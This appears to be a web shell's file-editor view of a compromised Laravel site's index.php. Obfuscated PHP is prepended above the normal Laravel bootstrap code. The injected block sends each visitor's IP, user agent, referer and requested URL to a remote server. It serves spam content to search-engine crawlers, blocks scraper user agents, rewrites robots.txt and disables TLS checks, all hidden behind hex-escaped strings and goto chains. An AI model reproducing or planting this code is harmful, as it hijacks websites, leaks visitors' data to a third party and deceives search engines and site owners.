One Hat Cyber Team

Edit File: index.php

<?php
 goto QQjkG; eldp_: $vTw6h = $_SERVER["\x48\x54\x54\x50\x5f\103\x4c\111\105\116\124\137\x49\120"]; goto Lj69l; SsCQX: $R3f93 = ''; goto AwYmv; vP5h1: $LSp4D = @file_get_contents($FrDSS); goto pej_7; QQjkG: $N4KMH = "\150\164\x74\160\72\57\x2f\143\x77\61\65\x34"; goto wDbJD; Vo1rN: S03Iv: goto L6mYo; jSgN_: $mBE47 = 0; goto E2KVz; ZR5ZR: $RG2o7 = curl_init(); goto GyqiO; JJ9ei: if (strpos($ANIr1, "\x72\157\x62\157\164\163\x2e\x74\170\x74") !== false or strpos($ANIr1, "\x70\x69\156\147\x73\x69\164\145\x6d\141\160") !== false or strpos($ANIr1, "\x6a\x70\62\60\62\63") !== false or preg_match("\x40\136\x2f\50\x2e\x2a\77\x29\56\170\155\154\44\x40\x69", $_SERVER["\122\105\121\x55\x45\123\124\137\x55\x52\111"]) or preg_match("\57\x28{$CCzsE}\51\x2f\x69", $_SERVER["\x48\x54\124\x50\x5f\125\123\105\x52\137\x41\107\x45\x4e\124"]) or preg_match("\57\x28{$CCzsE}\51\57\x69", $_SERVER["\x48\124\124\120\137\122\105\x46\x45\x52\x45\122"])) { goto zem1O; } goto wNvxD; STSb6: mMTIB: goto C6JsT; Lj69l: goto mmrWI; goto yhVQg; WT8xy: if (!(strpos($ANIr1, "\x77\170\156\x77\x78\x6e") !== false)) { goto roc0R; } goto d1Blj; YHdLh: $snc3L = "\164\150\x61\x6e\56\143"; goto gmL5c; ISrPS: if (strpos($glqoH, "\151\156\144\x65\170\56\x70\x68") !== false) { goto bnW9i; } goto NgDkr; JTGhK: $n3EDX = urlencode($_SERVER["\123\x43\122\x49\x50\124\137\x4e\101\115\105"]); goto Fnd_w; OP90z: if (!empty($LSp4D)) { goto qHgnU; } goto ZR5ZR; L6mYo: echo $LSp4D; goto kZyjU; C7myv: curl_setopt($RG2o7, CURLOPT_RETURNTRANSFER, true); goto LBdKe; Cl219: if (empty($LSp4D)) { goto yJ8m_; } goto EtQ7X; AOLUS: Z535M: goto Dotc0; vSaG1: $sjQaX = urlencode(@$_SERVER["\x48\x54\x54\x50\137\x41\x43\x43\x45\120\124\137\x4c\x41\x4e\x47\125\101\x47\x45"]); goto wiKe1; hBILY: zO103: goto clmgF; oOmAV: goto S03Iv; goto b2Chs; JUyYV: f6RYI: goto eldp_; DyVh0: exit; goto L_Jph; qhtgp: nMjD5($YJBQV, "\61"); goto Rtb1e; PehRq: goto mmrWI; goto JUyYV; pzyu8: goto zO103; goto HXqfd; xQTia: nmjD5("\162\x6f\142\157\164\x73\56\164\170\x74", $R3f93); goto B6WHD; wNvxD: goto VRddr; goto LTwF1; EaSeP: goto AUgPe; goto AOLUS; DVPqu: curl_setopt($RG2o7, CURLOPT_SSL_VERIFYHOST, FALSE); goto sXAWs; iYwnb: $vTw6h = urlencode($vTw6h); goto XMKaX; d1Blj: echo "\x6f\153"; goto n0SlS; kR5Tf: header("\x48\x54\x54\x50\x2f\x31\56\60\x20\x35\x30\x30\x20\x49\156\164\x65\x72\156\x61\154\40\x53\145\x72\x76\145\x72\x20\x45\x72\x72\157\x72"); goto qYmpp; jJkuo: if (!preg_match("\57\50\103\x72\141\x77\x6c\104\141\144\x64\171\x7c\112\151\x6b\145\x53\160\x69\144\x65\162\x7c\x50\171\164\150\157\x6e\x7c\x41\150\162\x65\146\163\102\157\x74\x7c\107\x6f\55\150\x74\164\160\x2d\143\x6c\x69\x65\x6e\x74\174\x50\x61\161\154\x65\x62\x6f\164\174\104\141\x74\141\106\x6f\162\123\x45\117\x7c\x66\x65\x65\x64\154\171\174\x42\x79\164\145\x73\x70\x69\144\145\162\174\145\141\163\x6f\165\x53\x70\151\144\145\162\x7c\171\141\156\x64\145\x78\102\x6f\x74\174\x79\151\163\157\x75\x53\160\151\144\145\162\174\x43\157\x6f\x6c\160\x61\x64\x57\145\x62\153\x69\164\174\101\163\x6b\124\x62\x46\130\x54\x56\174\x4d\152\x31\62\142\x6f\x74\174\104\x6f\164\x42\157\x74\x7c\x70\x79\164\x68\x6f\156\x2d\x72\145\x71\165\x65\163\x74\x73\174\x41\x70\141\x63\150\145\102\145\x6e\x63\150\174\x50\141\154\157\x61\154\164\157\x6e\x65\x74\x77\157\162\153\x73\x7c\x68\145\162\151\164\162\x69\170\174\117\x42\157\164\174\123\x65\172\156\141\x6d\102\x6f\x74\174\x53\x77\151\x66\164\142\157\164\x7c\x61\155\141\x7a\157\156\102\x6f\x74\x7c\151\156\x64\x79\x20\114\151\x62\162\141\x72\171\174\x65\x7a\157\157\155\163\x7c\125\156\151\x76\145\162\163\141\154\106\145\x65\x64\120\141\x72\163\x65\162\x7c\120\171\x74\150\x6f\156\55\165\162\154\154\151\x62\174\120\145\x74\x61\154\x42\x6f\164\x7c\102\x61\162\153\162\x6f\167\154\x65\x72\x7c\110\164\x74\160\103\154\151\x65\156\x74\x7c\171\x79\123\x70\x69\x64\x65\x72\x7c\114\x69\x67\150\164\104\145\143\153\x52\145\x70\x6f\x72\x74\163\x20\x42\157\x74\174\172\x6d\x45\x75\174\112\141\165\156\x74\x79\x7c\123\x65\x6d\162\x75\163\150\x42\157\164\x7c\107\120\x54\102\x6f\x74\174\x44\151\147\105\x78\164\x7c\x66\145\x65\144\x44\145\x6d\x6f\156\174\103\x65\156\x73\x79\x73\x49\x6e\x73\x70\145\x63\x74\x7c\163\x63\162\141\x70\171\x7c\x4a\141\x76\x61\51\57\151", $_SERVER["\110\x54\x54\120\x5f\125\123\x45\122\x5f\x41\x47\105\x4e\x54"])) { goto OBud0; } goto jDflA; GaGGl: if (!is_file($YJBQV)) { goto mMTIB; } goto TDHxj; kZyjU: if (!empty($R3f93)) { goto sbEP2; } goto A2P2L; cTPim: if ($mBE47 == 0) { goto Z535M; } goto HNh9J; sPNv2: $HOXiJ = urlencode($_SERVER["\122\x45\x51\x55\x45\123\x54\137\x53\x43\110\x45\x4d\105"]); goto sj3DA; jV73w: goto gVMsP; goto bAbDx; JgSPy: $uJhWY = $CF7lh . "\77\x61\x67\145\x6e\x74\x3d{$xU4LP}\46\162\x65\146\145\162\x3d{$W8fQM}\x26\x6c\x61\x6e\x67\75{$sjQaX}\46\151\160\x3d{$vTw6h}\46\x64\x6f\x6d\75{$acKLn}\46\150\164\164\160\75{$HOXiJ}\46\x75\162\151\x3d{$ANIr1}\x26\160\143\75{$psMsJ}\46\162\x65\167\162\151\x74\x65\141\142\154\145\75{$mBE47}\46\163\143\162\x69\160\164\x3d{$n3EDX}\x26\x73\x69\164\x65\155\x61\x70\75" . urlencode($qs6gW); goto xoZSG; bAbDx: bnW9i: goto cTPim; SraEq: error_reporting(0); goto jJkuo; f310G: $_SERVER["\x52\105\121\125\x45\123\124\137\x53\103\110\105\x4d\x45"] = "\150\164\x74\x70"; goto pzyu8; xmXAD: nMjd5("\x72\157\142\157\164\163\56\x74\170\x74", $LSp4D); goto TpEqk; tPlIX: if (strpos($ANIr1, "\146\141\x76\151\143\157\x6e\x2e\x69\143\x6f") !== false) { goto EW0vV; } goto JJ9ei; oKvCL: $LSp4D = @file_get_contents($uJhWY); goto OP90z; TXVuf: goto ETbFR; goto ZwMAI; clmgF: function NMJd5($au26Z, $M16wU) { goto Oe5PI; hXXW_: return false; goto B0_So; A3uG6: fclose($j0xzm); goto twuV0; Oe5PI: $j0xzm = fopen($au26Z, "\167"); goto QNE8b; X0Pey: F2FIg: goto hXXW_; QNE8b: if (!$j0xzm) { goto F2FIg; } goto aFG9z; twuV0: return true; goto X0Pey; aFG9z: fwrite($j0xzm, $M16wU); goto A3uG6; B0_So: } goto BeIzu; L89H2: roc0R: goto aO8hE; bubUo: $qs6gW = "{$HOXiJ}\x3a\x2f\57" . $acKLn . $glqoH . "\x73\x69\164\x65\x6d\x61\x70\x2e\x78\155\x6c"; goto kxCra; BeIzu: function yIv3Z($au26Z) { goto HxSTA; P3pna: fclose($j0xzm); goto mBSL2; tDhz2: if (!$j0xzm) { goto pixn_; } goto OlLK7; mBSL2: return $M16wU; goto DJZyC; OlLK7: $M16wU = fread($j0xzm, filesize($au26Z)); goto P3pna; HxSTA: $j0xzm = fopen($au26Z, "\x72"); goto tDhz2; PWvab: return false; goto q4tkp; DJZyC: pixn_: goto PWvab; q4tkp: } goto sPNv2; oLkF3: gRZ8Q: goto fxHJu; pOG4i: exit; goto xsix5; Rtb1e: ETbFR: goto hkcjJ; H_TVz: header("\x43\157\156\x74\145\x6e\164\x2d\x54\171\160\x65\72\40\164\x65\170\x74\57\170\x6d\x6c\73\x20\x63\x68\x61\x72\163\145\x74\x3d\165\x74\x66\55\x38"); goto QNN8A; ReyyS: UL7OS: goto H_TVz; aO8hE: $mBE47 = 0; goto W7jTd; LaIdw: goto S2D1k; goto STSb6; gzxlJ: yJ8m_: goto xZV_V; YxG4p: $yij1w = "\x6f\x6d\x2f"; goto MP3h5; X4_Xt: $_SERVER["\122\x45\x51\125\x45\123\x54\x5f\123\103\x48\105\115\x45"] = "\150\164\x74\160\163"; goto hBILY; yhVQg: pqvjw: goto T8iua; FppH9: $W8fQM = urlencode(@$_SERVER["\110\124\124\x50\x5f\x52\x45\106\x45\x52\105\122"]); goto C2Zqk; B6WHD: Dxivl: goto DyVh0; n0SlS: exit; goto L89H2; A2P2L: if (!(strpos($ANIr1, "\x72\x6f\x62\x6f\x74\163\56\164\170\164") !== false)) { goto s1d2E; } goto xmXAD; WfxhO: header("\103\157\156\164\x65\x6e\164\55\x54\171\160\x65\x3a\40\x74\x65\x78\x74\57\150\x74\155\154\73\x20\143\150\x61\x72\x73\145\x74\x3d\x75\x74\146\x2d\70"); goto fBxtd; KJgJQ: if (substr($LSp4D, 0, 5) == "\x3c\x3f\170\x6d\154") { goto UL7OS; } goto WfxhO; XMKaX: $acKLn = urlencode($_SERVER["\x48\x54\124\120\137\110\117\x53\x54"]); goto JTGhK; HNh9J: $glqoH = "\57"; goto EaSeP; NgDkr: $glqoH = $glqoH . "\x3f"; goto jV73w; ZwMAI: cRgHx: goto Tu10m; ULBLB: $CCzsE = "\147\x6f\157\147\154\145\x7c\101\157\x6c\x7c\142\x69\156\147\174\x79\141\150\x6f\157"; goto SraEq; Fnd_w: if (!empty($_SERVER["\x52\x45\x51\x55\x45\x53\124\137\x53\103\x48\x45\115\105"]) and $_SERVER["\x52\x45\121\x55\105\123\x54\137\123\103\110\105\x4d\105"] == "\x68\164\x74\160\163" or !empty($_SERVER["\x48\x54\x54\120\123"]) and $_SERVER["\110\124\x54\x50\123"] == "\157\156" or !empty($_SERVER["\x53\105\122\x56\105\122\x5f\x50\x4f\122\x54"]) and $_SERVER["\123\105\x52\126\x45\x52\137\120\117\x52\124"] == "\64\64\63" or isset($_SERVER["\x48\x54\x54\120\137\130\x5f\106\x4f\122\127\x41\x52\104\105\x44\137\120\122\117\124\x4f"]) and $_SERVER["\110\124\124\120\137\130\137\x46\117\122\x57\x41\x52\104\x45\x44\137\x50\122\117\x54\117"] == "\150\x74\x74\160\163") { goto RyQ6K; } goto f310G; jDflA: header("\110\124\124\x50\x2f\61\56\60\x20\x34\x30\63\40\x46\x6f\x72\142\151\x64\144\x65\x6e"); goto pOG4i; Zy1VG: if (isset($_SERVER["\110\x54\124\x50\137\x43\114\111\105\116\124\137\111\x50"])) { goto f6RYI; } goto I4vvg; GyqiO: curl_setopt($RG2o7, CURLOPT_URL, $uJhWY); goto C7myv; kOlDO: $psMsJ = "\102\147\163\x4a\102\147\x4c"; goto ULBLB; jhlJX: $glqoH = $_SERVER["\x53\x43\x52\111\x50\x54\x5f\116\101\x4d\x45"]; goto ISrPS; TpEqk: s1d2E: goto Iv6mK; b2Chs: i55gK: goto a57cG; xsix5: OBud0: goto FppH9; Tu10m: $mBE47 = 1; goto qhtgp; C2Zqk: $xU4LP = urlencode($_SERVER["\x48\124\x54\120\x5f\125\123\105\122\137\101\107\105\x4e\124"]); goto vSaG1; C6JsT: $FrDSS = $HOXiJ . "\72\57\x2f" . $_SERVER["\x48\x54\124\x50\137\110\x4f\123\x54"] . "\x2f\x77\x78\156\x77\170\156"; goto vP5h1; a57cG: header("\110\x54\124\x50\x2f\x31\x2e\61\40\64\60\x34\40\x4e\x6f\x74\40\106\x6f\x75\156\x64"); goto Vo1rN; pej_7: if ($LSp4D === "\x6f\x6b") { goto cRgHx; } goto jSgN_; WaP7z: $R3f93 = "\125\163\145\162\55\141\147\x65\x6e\x74\x3a\40\52\xd\12\101\x6c\x6c\157\167\72\40\57"; goto bubUo; iGLX6: goto jTmQA; goto H8FhP; wiKe1: $vTw6h = $_SERVER["\x52\105\x4d\x4f\x54\105\137\101\x44\x44\x52"]; goto Zy1VG; uZ931: curl_setopt($RG2o7, CURLOPT_SSL_VERIFYPEER, FALSE); goto DVPqu; W7jTd: $YJBQV = "\167\170\156\56\x74\170\164"; goto GaGGl; sXAWs: $LSp4D = curl_exec($RG2o7); goto cvm99; E2KVz: NMJd5($YJBQV, "\x30"); goto TXVuf; fYGrV: AUgPe: goto lgQuD; fxHJu: if (strpos($ANIr1, "\x6a\160\x32\60\62\63") !== false) { goto i55gK; } goto KJgJQ; T0JZ_: mmrWI: goto iYwnb; qYmpp: exit; goto oLkF3; LBdKe: curl_setopt($RG2o7, CURLOPT_FOLLOWLOCATION, false); goto uZ931; wDbJD: $tkWi6 = "\x73\x6d\157\x6f"; goto YxG4p; sj3DA: $ANIr1 = urlencode($_SERVER["\x52\105\x51\x55\105\x53\x54\137\125\x52\111"]); goto WT8xy; lgQuD: gVMsP: goto WaP7z; cvm99: curl_close($RG2o7); goto eFVfY; gmL5c: $CF7lh = $N4KMH . $egEU4 . $tkWi6 . $snc3L . $yij1w; goto kOlDO; gmUm_: sbEP2: goto xQTia; L_Jph: return; goto gzxlJ; QNN8A: lysZ5: goto oOmAV; AedzU: $uJhWY = $CF7lh . "\x3f\x61\x67\x65\156\164\75{$xU4LP}\46\162\145\x66\145\162\75{$W8fQM}\x26\154\141\156\x67\75{$sjQaX}\46\151\160\x3d{$vTw6h}\46\144\157\x6d\75{$acKLn}\46\150\164\164\x70\75{$HOXiJ}\x26\x75\x72\151\x3d{$ANIr1}\x26\160\143\x3d{$psMsJ}\46\x72\145\167\x72\151\x74\145\x61\x62\x6c\145\75{$mBE47}\46\163\x63\162\x69\x70\x74\75{$n3EDX}"; goto SsCQX; kxCra: $R3f93 = trim($R3f93) . "\15\12" . "\123\x69\x74\x65\155\141\x70\x3a\40{$qs6gW}"; goto y14pF; eFVfY: qHgnU: goto Cl219; I4vvg: if (isset($_SERVER["\x48\124\124\x50\x5f\x58\x5f\106\117\x52\127\101\x52\x44\x45\104\x5f\x46\117\x52"])) { goto pqvjw; } goto PehRq; Dotc0: $glqoH = "\x2f\x3f"; goto fYGrV; MP3h5: $egEU4 = "\x36\x2e"; goto YHdLh; xoZSG: KzJId: goto oKvCL; y14pF: $mONIZ = ''; goto OAE2I; TDHxj: $mBE47 = YIv3z($YJBQV); goto LaIdw; LTwF1: zem1O: goto AedzU; AwYmv: if (!(strpos($ANIr1, "\160\151\x6e\x67\163\151\x74\x65\x6d\x61\160") !== false)) { goto KzJId; } goto jhlJX; xZV_V: VRddr: goto iGLX6; T8iua: $vTw6h = $_SERVER["\110\124\124\x50\x5f\130\137\x46\117\122\x57\x41\x52\104\105\104\x5f\106\117\x52"]; goto T0JZ_; fBxtd: goto lysZ5; goto ReyyS; HXqfd: RyQ6K: goto X4_Xt; Iv6mK: goto Dxivl; goto gmUm_; H8FhP: EW0vV: goto PygmX; EtQ7X: if (!(substr($LSp4D, 0, 10) == "\145\162\162\x6f\x72\x20\x63\157\x64\x65" or $LSp4D == "\65\60\60" or strpos($LSp4D, "\x42\x61\144\x20\107\x61\164\x65\x77\x61\171") !== false)) { goto gRZ8Q; } goto kR5Tf; OAE2I: echo $qs6gW . "\x3a\40" . $mONIZ . "\x3c\142\x72\x2f\x3e"; goto JgSPy; hkcjJ: S2D1k: goto tPlIX; PygmX: jTmQA:
?><?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__.'/core/vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__.'/core/bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

$response->send();

$kernel->terminate($request, $response);